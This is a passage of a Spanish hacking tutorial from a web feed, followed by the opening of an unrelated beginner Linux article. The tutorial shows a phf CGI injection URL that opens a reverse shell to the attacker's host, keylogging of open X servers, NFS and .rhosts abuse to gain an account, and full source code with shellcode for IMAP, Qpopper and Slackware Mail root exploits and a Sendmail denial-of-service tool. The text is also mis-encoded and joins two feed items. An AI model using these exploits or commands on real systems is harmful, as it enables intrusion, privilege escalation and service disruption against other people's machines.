if(hosta[0] =3D=3D &#8216;\0&#8242;)<br />
break;<br />
hosta[strlen(hosta) -1] =3D &#8216;\0&#8242;;<br />
write(1,hosta,strlen(hosta)*sizeof(char));<br />
write(1,&#8221;\n&#8221;,sizeof(char));<br />
ï¿½<br />
hp =3D gethostbyname (hosta);<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
bzero((char*) &amp;sin, sizeof(sin));<br />
bcopy(hp-&gt;h_addr, (char *) &amp;sin.sin_addr, hp-&gt;h_length);<br />
sin.sin_family =3D hp-&gt;h_addrtype;<br />
sin.sin_port =3D htons(80);<br />
sock =3D socket(AF_INET, SOCK_STREAM, 0);<br />
X=3Dconnect(sock,(struct sockaddr *) &amp;sin, sizeof(sin));<br />
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));ï¿½<br />
while((X=3Dread(sock,FileBuf,8096))!=3D0)<br />
write(1,FileBuf,X);<br />
ï¿½<br />
}</p>
<p>}<br />
printf(&#8220;\nScacco&amp;Dark Schneider &#8211; S0ft Pr0ject 98&#8243;);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/end CGI scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Hay otros pero este ya vale.</p>
<p>Bueno&#8230;y si el  administrador ha eliminado las X?  Entonces habra que<br />
recurrir a un canal trasero. En  la mayor parte de los servidores unix<br />
hay  instalado un  cliente telnet  sin restricciones  de  empleo. Para<br />
conseguir  nuestro  canal  trasero  realizaremos un  &#8220;telnet  inverso&#8221;<br />
utilizando  la herramienta  netcat  para activar  escuchas en  nuestro<br />
propio  sistema. Debemos  ejecutar los  siguientes comandos  en sendos<br />
xterms de nuestra maquina:</p>
<p>(xterm1)#&gt;nc -l -n -v -p 80</p>
<p>(xterm2)#&gt;nc -l -n -v -p 25</p>
<p>Hemos de asegurarnos de que no hay demonio alguno escuchando por tales<br />
puertos  en nuestro  sistema  y si  los hay  haced  un ps  ax y  luego<br />
matadlos  con kill  -9  &lt;pid&gt;. Los  dos  mandatos nc  escuchan en  los<br />
puertos 80  y 25 de nuestra  maquina. Para iniciar  el telnet inverso,<br />
ejecutamos en el servidor objetivo desde nuestro navegador:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025</a></p>
<p>que equivaldria a hacer en la maquina remota:</p>
<p>/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25</p>
<p>El  mandato /bin/telnet darkstar_IP  80 se  conecta a  nuestra escucha<br />
netcat  en   el  puerto  80.  Aqui  es   donde  escribiremos  nuestras<br />
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se<br />
introduciran  en  /bin/sh.  Posteriormente,  el  resultadode  nuestros<br />
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un<br />
telnet inverso  que se ejecuta  en dos ventanas separadas.  Se escogen<br />
los  puertos 80  y 25  porque son  servicios comunes  que generalmente<br />
permiten  los  cortafuegos.  Existen   otros  modos  de  explotar  las<br />
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.</p>
<p>3.2.4 Vulnerabilidades de servidores X</p>
<p>Muchos   servidores  X   ejecutan  de   forma   predeterminada  xhost+<br />
permitiendo que cualquier usuario local  o remoto acceda al servidor X<br />
sin autenticarse  y muchos administradores ni se  percatan. Existe una<br />
utilidad llamada xscan que podeis encontrar en</p>
<p><a href="http://morehouse.org/hin/root/xscan.tar.gz">http://morehouse.org/hin/root/xscan.tar.gz</a></p>
<p>que  permite   identificar  los  servidores  X   que  tienen  activado<br />
xhost+. Una vez instalada hacemos</p>
<p>$&gt;xscan objetivo.net<br />
=2E..<br />
Connecting to objetivo.net&#8230;on port 6000<br />
connected<br />
Host objetivo.net is running X<br />
Starting keyboard logging of host objetivo.net<br />
:0.0 to file KEYLOGobjetivo.net:0.0.</p>
<p>A  partir de  ahora, cualquier  pulsacion  de teclas  realizada en  la<br />
consola  de  la  maquina  remota  quedara  registrada  en  el  archivo<br />
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro<br />
podemos ver lo que el usuario esta escribiendo en el teclado:</p>
<p>$&gt;tail -f KEYLOGobjetivo.net:0.0<br />
su -<br />
[shift_L * Iamowned (Shift_R)]</p>
<p>Asi vemos que el usuario ha ejecutado el comando su con el password de<br />
root &#8220;Iamowned&#8221; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )).<br />
3.3 Mala configuracion de hosts.equiv y .rhosts</p>
<p>En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de<br />
datos general  que controla el acceso  a nivel de hosts,  y el fichero<br />
/home/usuario/.rhosts  controla el  acceso  a la  maquina  a nivel  de<br />
usuario. Las maquinas cuyos  nombres encontremos en /etc/hosts.equiv o<br />
en ~/.rhosts  se llaman  &#8220;trusted hosts&#8221; o  maquinas de  confianza por<br />
parte del objetivo. Cuando  intentamos conectarnos a la maquina remota<br />
mediante  rlogin (la  maquina remota  ha de  tener el  puerto  513 tcp<br />
rlogin activo)</p>
<p>$&gt;rlogin -l objetivo.net</p>
<p>el demonio rlogin  busca en /etc/hosts.equiv por el  nombre de nuestra<br />
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos<br />
intentarlo haciendo</p>
<p>~&gt;rlogin -l usuario objetivo.net</p>
<p>entonces  rlogin busca  el nombre  de  nuestra maquina  en el  fichero<br />
/home/usuario/.rhost y  si la  encuentra, tambien hemos  conseguido el<br />
acceso.  Un  antiguo &#8220;bug&#8221; de rlogin permitia  conseguir una rootshell<br />
haciendo</p>
<p>$&gt;rlogin objetivo.net -l -froot.</p>
<p>Si  una maquina  tiene  el rlogin  activado  (y no  tiene filtros  tcp<br />
warppers)   debemos  intentar   escribir  una   &#8220;+&#8221;  en   ~/.rhosts  o<br />
/etc/hosts.equiv.  Muchos  ya vienen  con  la  entrada  &#8220;+&#8221; en  dichos<br />
archivos por defecto  y eso significa que cualquier  otra maquina sera<br />
un &#8220;trusted  hosts&#8221;. Voy a  ilustrar esto con  un ejemplito de  lo mas<br />
interesante. Supongamos  que sabemos  que en nuestro  sistema objetivo<br />
estan activos los servicios rlogin, mountd y nfs. Si hacemos</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale</p>
<p>/home</p>
<p>Lo primero que haremos sera crear un directorio para montar /home</p>
<p>#&gt;mkdir patapalo</p>
<p>#&gt;mount -nt nfs objetivo.net:/home /patapalo</p>
<p>#&gt;ls -la /patapalo<br />
Imaginemos que encontramos la siguiente entrada con UID=3D102:</p>
<p>1 drwx&#8212;&#8212; 15 102 100   1024 Jul 8 18:57 skywalker/</p>
<p>Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:</p>
<p>#&gt;echo &#8220;skywalker::102:2::/patapalo: /bin/shi&#8221; &gt;&gt; /etc/passwd</p>
<p>#&gt;su &#8211; skywalker<br />
(sin contrasenya)</p>
<p>Una vez como skywalker, podemos hacer:</p>
<p>#&gt;echo &#8220;+ +&#8221; &gt; skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)</p>
<p>#&gt;cd /</p>
<p>#&gt;rlogin -l skywalker objetivo.net<br />
Wellcome to objetivo.net<br />
=2E..</p>
<p>objetivo.net:~$&gt;</p>
<p>=A1Ya tenemos cuenta en el sistema!</p>
<p>Para desmontar el archivo, salimos del directorio y hacemos</p>
<p>#&gt;umount /patapalo</p>
<p>De todos  modos es muy raro  que pasen estas  cosas&#8230;los tcp warppers<br />
deberian  tener  bien  configurados  sus  ficheros  de  hosts.allow  y<br />
hosts.deny&#8230;pero por  defecto, al instalarse  automaticamente los tcp<br />
warppers en  el sistema (linux  p.ej.)  los ficheros  de configuracion<br />
mencionados estan vacios de reglas de acceso.<br />
3.4 Exploits</p>
<p>Los exploits son procedimientos que nos permiten aprovechar (explotar)<br />
un fallo o vulnerabilidad en  ciertos programas que se ejecutan con el<br />
bit setuid activado y que nos permiten acceder al sistema generalmente<br />
con una rootshell. Si bien la  mayor parte de las veces se utilizan en<br />
acceso  local como  procedimiento para  acceder a  los  privilegios de<br />
root, tambien se usan para el acceso remoto utilizando alguna utilidad<br />
de red como telnet o netcat.</p>
<p>La mayor parte de los  exploits se basan en desbordamientos del buffer<br />
de  la  pila(stack  buffer  overflow).  En el  excelente  articulo  de<br />
AlephOne aparecido en  noviembre de 1996 en el Phrack  (49, file 14) y<br />
titulado  &#8220;Smashing  the  Stack   for  Fun  and  Profit&#8221;  se  describe<br />
minuciosamente  como es  posible desbordar  el buffer  de la  pila del<br />
proceso  y establecer  la direccion  de  retorno para  que se  ejecute<br />
codigo  arbitrario, generalmente  una rutina  en ensamblador  (a veces<br />
llamada  &#8220;egg&#8221;) que  ejecuta /bin/sh  con  privilegio de  root (si  el<br />
programa  tenia  el  bit  setuid  activado).  Esta  vulnerabilidad  la<br />
presentan  en  principio  los  programas  que  llaman  a  determinadas<br />
funciones C tales como strcpy(), strcat() y sprintf() que no verifican<br />
el tama=F1o de los arrays. Hay  un articulo muy sencillo de leer (o lo<br />
habia)  en <a href="http://hello.to/hacker_novatos">http://hello.to/hacker_novatos</a> escrito  por RaiSe  para los<br />
neofitos, pero debeis de tener  al menos unas nociones de programacion<br />
C,  la  distribucion en  la  memoria  de un  proceso  unix  y algo  de<br />
ensamblador (CPU Intel  y linux como so). Yo por  mi me enrrollaria un<br />
poco con  el tema  porque es apasionante  y es  relativamente sencillo<br />
escribir nuestros  propios exploits&#8230;pero  eso sera otra  historia si<br />
Dios quiere  que disponga de tiempo  para hacer una  introduccion a la<br />
realizacion de exploits. Basta decir que si visitamos la pagina</p>
<p><a href="http://www.rootshell.com">http://www.rootshell.com</a></p>
<p>y buscamos en  &#8220;exploits&#8221; encontraremos de todo. En  cada uno de ellos<br />
se explica el  modus operandi para aplicarlos. Yo  he recogido algunos<br />
recientitos para Linuxy los pego a continuacion:</p>
<p>**Uno para imap, del 98</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/*</p>
<p>THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW<br />
ï¿½<br />
Linux WU-IMAPD 4.1 remote root exploit (4/98)<br />
by   ndubee||plaguez<br />
<a href="mailto:dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a></p>
<p>Usage:   ./imapx &lt;offset&gt;<br />
ï¿½<br />
where offset =3D -500..500  (brute force if 0 doesnt work)</p>
<p>Credits:<br />
- Cheez Whiz (original x86 BSD exploit)<br />
- #!w00w00 and #!ADM</p>
<p>Note:<br />
if you plan to port this to other OS., make sure the<br />
shellcode doesn&#8217;t contain lower case chars since imapd<br />
will toupper() the shellcode, thus fucking it up.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;limits.h&gt;<br />
#include &lt;string.h&gt;<br />
#define BUFLEN 2048<br />
#define NOP 0&#215;90</p>
<p>char shell[] =3D<br />
/*<br />
jmp 56<br />
popl %esi<br />
movl    %esi,%ebx<br />
movl    %ebx,%eax<br />
ï¿½<br />
addb    $0&#215;20,0&#215;1(%esi)<br />
addb    $0&#215;20,0&#215;2(%esi)<br />
addb    $0&#215;20,0&#215;3(%esi)<br />
addb    $0&#215;20,0&#215;5(%esi)<br />
addb    $0&#215;20,0&#215;6(%esi)<br />
ï¿½<br />
movl    %esi,%edi<br />
addl    $0&#215;7,%edi<br />
xorl    %eax,%eax<br />
stosb   %al,%es:(%edi)<br />
movl    %edi,%ecx<br />
movl    %esi,%eax<br />
stosl   %eax,%es:(%edi)<br />
movl    %edi,%edx<br />
xorl    %eax,%eax<br />
stosl   %eax,%es:(%edi)<br />
movb    $0&#215;8,%al<br />
addb    $0&#215;3,%al<br />
int     $0&#215;80<br />
xorl    %ebx,%ebx<br />
movl    %ebx,%eax<br />
incl    %eax<br />
int     $0&#215;80<br />
call   -61<br />
.string \&#8221;/BIN/SH\&#8221;<br />
.byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup</p>
<p>*/</p>
<p>&#8220;\xeb\x38\x5e\x89\xf3\x89\xd8\x80&#8243;<br />
&#8220;\x46\x01\x20\x80\x46\x02\x20\x80&#8243;<br />
&#8220;\x46\x03\x20\x80\x46\x05\x20\x80&#8243;<br />
&#8220;\x46\x06\x20\x89\xf7\x83\xc7\x07&#8243;<br />
&#8220;\x31\xc0\xaa\x89\xf9\x89\xf0\xab&#8221;<br />
&#8220;\x89\xfa\x31\xc0\xab\xb0\x08\x04&#8243;<br />
&#8220;\x03\xcd\x80\x31\xdb\x89\xd8\x40&#8243;<br />
&#8220;\xcd\x80\xe8\xc3\xff\xff\xff\x2f&#8221;<br />
&#8220;\x42\x49\x4e\x2f\x53\x48\x00&#8243;;</p>
<p>void<br />
main (int argc, char *argv[])<br />
{<br />
char buf[BUFLEN];<br />
int offset=3D0,nop,i;<br />
unsigned long esp;</p>
<p>fprintf(stderr,&#8221;usage: %s &lt;offset&gt;\n&#8221;, argv[0]);<br />
ï¿½<br />
nop =3D 403;<br />
esp =3D 0xbffff520;<br />
if(argc&gt;1)<br />
offset =3D atoi(argv[1]);</p>
<p>memset(buf, NOP, BUFLEN);<br />
memcpy(buf+(long)nop, shell, strlen(shell));<br />
ï¿½<br />
for (i =3D 512; i &lt; BUFLEN &#8211; 4; i +=3D 4)<br />
*((int *) &amp;buf[i]) =3D esp + (long) offset;</p>
<p>printf(&#8220;* AUTHENTICATE {%d}\r\n&#8221;, BUFLEN);<br />
for (i =3D 0; i &lt; BUFLEN; i++)<br />
putchar(buf[i]);<br />
ï¿½<br />
printf(&#8220;\r\n&#8221;);</p>
<p>return;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211;/end imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para qpop3</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin qpop3 exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/*<br />
* !Hispahack Research Team<br />
* <a href="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br />
*<br />
* By Zhodiac &lt;<a href="mailto:zhodiac@softhome.net">zhodiac@softhome.net</a>&gt;<br />
*<br />
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)<br />
* Overflow at pop_list()-&gt;pop_msg()<br />
*<br />
* Tested: 3.0beta28  offset=3D0<br />
*         3.0beta26  offset=3D0<br />
*         3.0beta25  offset=3D0<br />
*<br />
* #include &lt;standar/disclaimer.h&gt;<br />
*<br />
* This code is dedicated to my love [CrAsH]] and to all the people who<br />
* were raided in Spain in the last few days.<br />
*<br />
* Madrid 10/1/2000<br />
*<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#define BUFFERSIZE 1004<br />
#define NOP 0&#215;90<br />
#define OFFSET 0xbfffd9c4</p>
<p>char shellcode[]=3D<br />
&#8220;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89&#8243;<br />
&#8220;\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh&#8221;;<br />
void usage(char *progname) {<br />
fprintf(stderr,&#8221;Usage: (%s &lt;login&gt; &lt;password&gt; [&lt;offset&gt;]; cat) | nc &lt;target&gt; 110&#8243;,progname);<br />
exit(1);<br />
}</p>
<p>int main(int argc, char **argv) {<br />
char *ptr,buffer[BUFFERSIZE];<br />
unsigned long *long_ptr,offset=3DOFFSET;<br />
int aux;</p>
<p>fprintf(stderr,&#8221;\n!Hispahack Research Team (<a href="http://hispahack.ccc.de)\n">http://hispahack.ccc.de)\n</a>&#8220;);<br />
fprintf(stderr,&#8221;Qpopper xploit by Zhodiac &lt;<a href="mailto:zhodiac@softhome.net&gt;\n\n">zhodiac@softhome.net&gt;\n\n</a>&#8220;);</p>
<p>if (argc&lt;3) usage(argv[0]);</p>
<p>if (argc=3D=3D4) offset+=3Datol(argv[3]);</p>
<p>ptr=3Dbuffer;<br />
memset(ptr,0,sizeof(buffer));<br />
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);<br />
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;<br />
memcpy(ptr,shellcode,strlen(shellcode));<br />
ptr+=3Dstrlen(shellcode);<br />
long_ptr=3D(unsigned long*)ptr;<br />
for(aux=3D0;aux&lt;4;aux++) *(long_ptr++)=3Doffset;<br />
ptr=3D(char *)long_ptr;<br />
*ptr=3D&#8217;\0&#8242;;</p>
<p>fprintf(stderr,&#8221;Buffer size: %d\n&#8221;,strlen(buffer));<br />
fprintf(stderr,&#8221;Offset: 0x%lx\n\n&#8221;,offset);</p>
<p>printf(&#8220;USER %s\n&#8221;,argv[1]);<br />
sleep(1);<br />
printf(&#8220;PASS %s\n&#8221;,argv[2]);<br />
sleep(1);<br />
printf(&#8220;LIST 1 %s\n&#8221;,buffer);<br />
sleep(1);<br />
printf(&#8220;uname -a; id\n&#8221;);</p>
<p>return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end qpop exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para sendmail</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/*<br />
against.c &#8211; Another Sendmail (and pine <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  DoS (up to 8.9.2)<br />
(c) 1999 by &lt;<a href="mailto:marchew@linux.lepszy.od.kobiety.pl">marchew@linux.lepszy.od.kobiety.pl</a>&gt;</p>
<p>Usage: ./against existing_user_on_victim_host victim_host<br />
Example: ./against nobody lamers.net</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;stdarg.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;getopt.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#define MAXCONN 5<br />
#define LINES   150000</p>
<p>struct hostent *hp;<br />
struct sockaddr_in s;<br />
int suck,loop,x;</p>
<p>int main(int argc,char* argv[]) {<br />
ï¿½<br />
printf(&#8220;against.c &#8211; another Sendmail DoS (up to 8.9.2)\n&#8221;);</p>
<p>if (argc-3) {<br />
printf(&#8220;Usage: %s victim_user victim_host\n&#8221;,argv[0]);<br />
exit(0);<br />
}<br />
ï¿½<br />
hp=3Dgethostbyname(argv[2]);<br />
ï¿½<br />
if (!hp) {<br />
perror(&#8220;gethostbyname&#8221;);<br />
exit(1);<br />
}</p>
<p>fprintf(stderr,&#8221;Doing mess: &#8220;);</p>
<p>for (;loop&lt;MAXCONN;loop++) if (!(x=3Dfork())) {<br />
FILE* d;<br />
bcopy(hp-&gt;h_addr,(void*)&amp;s.sin_addr,hp-&gt;h_length);<br />
s.sin_family=3Dhp-&gt;h_addrtype;<br />
s.sin_port=3Dhtons(25);<br />
if ((suck=3Dsocket(AF_INET,SOCK_STREAM,0))&lt;0) perror(&#8220;socket&#8221;);<br />
if (connect(suck,(struct sockaddr *)&amp;s,sizeof(s))) perror(&#8220;connect&#8221;);<br />
if (!(d=3Dfdopen(suck,&#8221;w&#8221;))) { perror(&#8220;fdopen&#8221;); exit(0); }</p>
<p>usleep(100000);</p>
<p>fprintf(d,&#8221;helo tweety\n&#8221;);<br />
fprintf(d,&#8221;mail from: <a href="mailto:tweety@polbox.com\n">tweety@polbox.com\n</a>&#8220;);<br />
fprintf(d,&#8221;rcpt to: <a href="mailto:%s@%s\n&quot;,argv[1],argv[2">%s@%s\n&#8221;,argv[1],argv[2</a>]);<br />
fprintf(d,&#8221;data\n&#8221;);</p>
<p>usleep(100000);</p>
<p>for(loop=3D0;loop&lt;LINES;loop++) {<br />
if (!(loop%100)) fprintf(stderr,&#8221;.&#8221;);<br />
fprintf(d,&#8221;To: x\n&#8221;);<br />
}</p>
<p>fprintf(d,&#8221;\n\n\nsomedata\n\n\n&#8221;);</p>
<p>fprintf(d,&#8221;.\n&#8221;);</p>
<p>sleep(1);</p>
<p>fprintf(d,&#8221;quit\n&#8221;);<br />
fflush(d);</p>
<p>sleep(100);<br />
shutdown(suck,2);<br />
close(suck);<br />
exit(0);<br />
}</p>
<p>waitpid(x,&amp;loop,0);</p>
<p>fprintf(stderr,&#8221;ok\n&#8221;);</p>
<p>return 0;<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
**Para terminar uno de Slackware <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/begin mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/*<br />
* mail-slak.c (C) 2000 Paulo Ribeiro &lt;<a href="mailto:prrar@nitnet.com.br">prrar@nitnet.com.br</a>&gt;<br />
*<br />
* Exploit for /usr/bin/Mail.<br />
* Made specially for Slackware Linux 7.0.<br />
* Based on mailx.c by funkySh.<br />
*<br />
* OBS.: Without fprintf(stderr) is not possible to print the message.<br />
*<br />
* USAGE:<br />
* slack$ ./mail-slak<br />
* type &#8216;.&#8217; and enter: .<br />
* Cc: too long to edit<br />
* sh-2.03$ id<br />
* uid=3D1000(user) gid=3D12(mail) groups=3D100(users)<br />
*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;unistd.h&gt;</p>
<p>char buffer[10000];<br />
char shellcode[] =3D<br />
&#8220;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31&#8243;</p>
<p>&#8220;\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1&#8243;</p>
<p>&#8220;\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76&#8243;</p>
<p>&#8220;\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89&#8243;</p>
<p>&#8220;\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#8221;;</p>
<p>unsigned long getesp(void)<br />
{<br />
__asm__(&#8220;movl %esp,%eax&#8221;);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
int x;<br />
long addr =3D getesp() &#8211; 18000;</p>
<p>memset(buffer, 0&#215;90, 10000);<br />
memcpy(buffer + 800, shellcode, strlen(shellcode));</p>
<p>for(x =3D 876; x &lt; 9998; x +=3D 4)<br />
*(int *)&amp;buffer[x] =3D addr;</p>
<p>fprintf(stderr, &#8220;type &#8216;.&#8217; and enter: &#8220;);</p>
<p>execl(&#8220;/usr/bin/Mail&#8221;, &#8220;/usr/bin/Mail&#8221;, &#8220;nobody&#8221;, &#8220;-s&#8221;,<br />
&#8220;blah&#8221;, &#8220;-c&#8221;, buffer, 0);<br />
}</p>
<p>/* mail-slack.c: EOF */</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/end mail-slack exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Esto  solo ha  sido  una  muestra. Si  en  rootshell.com utilizais  la<br />
untilidad  search podreis  buscar  los exploits  relativos a  aquellos<br />
programas o servicios que os interesen para vuestros fines }:)).</p>
<p>Bueno&#8230;ya esta  bien por esta  entrega. La proxima nos  dedicaremos a<br />
conseguir  privilegios de  root desde  un  acceso local  y a  preparar<br />
nuestras herramientas.</p>
<p>Antes de terminar&#8230;ni se os ocurra intentar entrar en ninguna maquina<br />
remota en  plan novato apenas sabiendo cuatro  cosas, porque dejariais<br />
unas huellas y vestigios que os delatarian ipso facto. Ya a medida que<br />
avancemos  os  dire  algunas  cosillas  fundamentales  para  ser  casi<br />
invisible&#8230;pero  no todavia.  Por  ultimo, aunque  no quiero  meteros<br />
mucha  tela, existen una  serie de  escaners que  auditan redes  y que<br />
delatan  diversos  fallos de  seguridad  y vulnerabilidades.  Anta=F1o<br />
estaba sscan, pero ahora es  mucho mejor usar saint o nessus&#8230;pero ya<br />
os dire como.</p>
<p>Tened cuidado ahi dentro ;-P</p>
<p>ï¿½<br />
&#8212;&#8212;&#8212;&#8212;&#8211;2EC61C705517942E3D414456&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra IV</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:12:33 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=227</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra IV Autor: Lokutus Tema: Linux La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra IV<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y una vez mÃ¡s entramos en nuestro sistema. Vamos a ver que tipos de ficheros tenemos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Vimos en un capÃ­tulo anterior, que con la Ã³rden &#8220;cat&#8221;, podemos ver el contenido de un fichero.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat fichero.txt<br />
Esto es el contenido de mi fichero<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Pero vamos a cotillear otros ficheros, (si estas accediendo con un telnet no hagas la siguiente Ã³rden), por ejemplo, vamos a ver que tiene el fichero &#8220;less&#8221; por dentro.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cat /usr/bin/less<br />
dsfgvrtyv456v3ty 45 tg fgf f wf werv345v<br />
v 4345v2345v45v3 (pitido)sdf df sdfsd(pitido)<br />
df f wef wefwe(requetepitido) sdf sdf df sdfsdf<br />
[cosas muy raras]$ _</td>
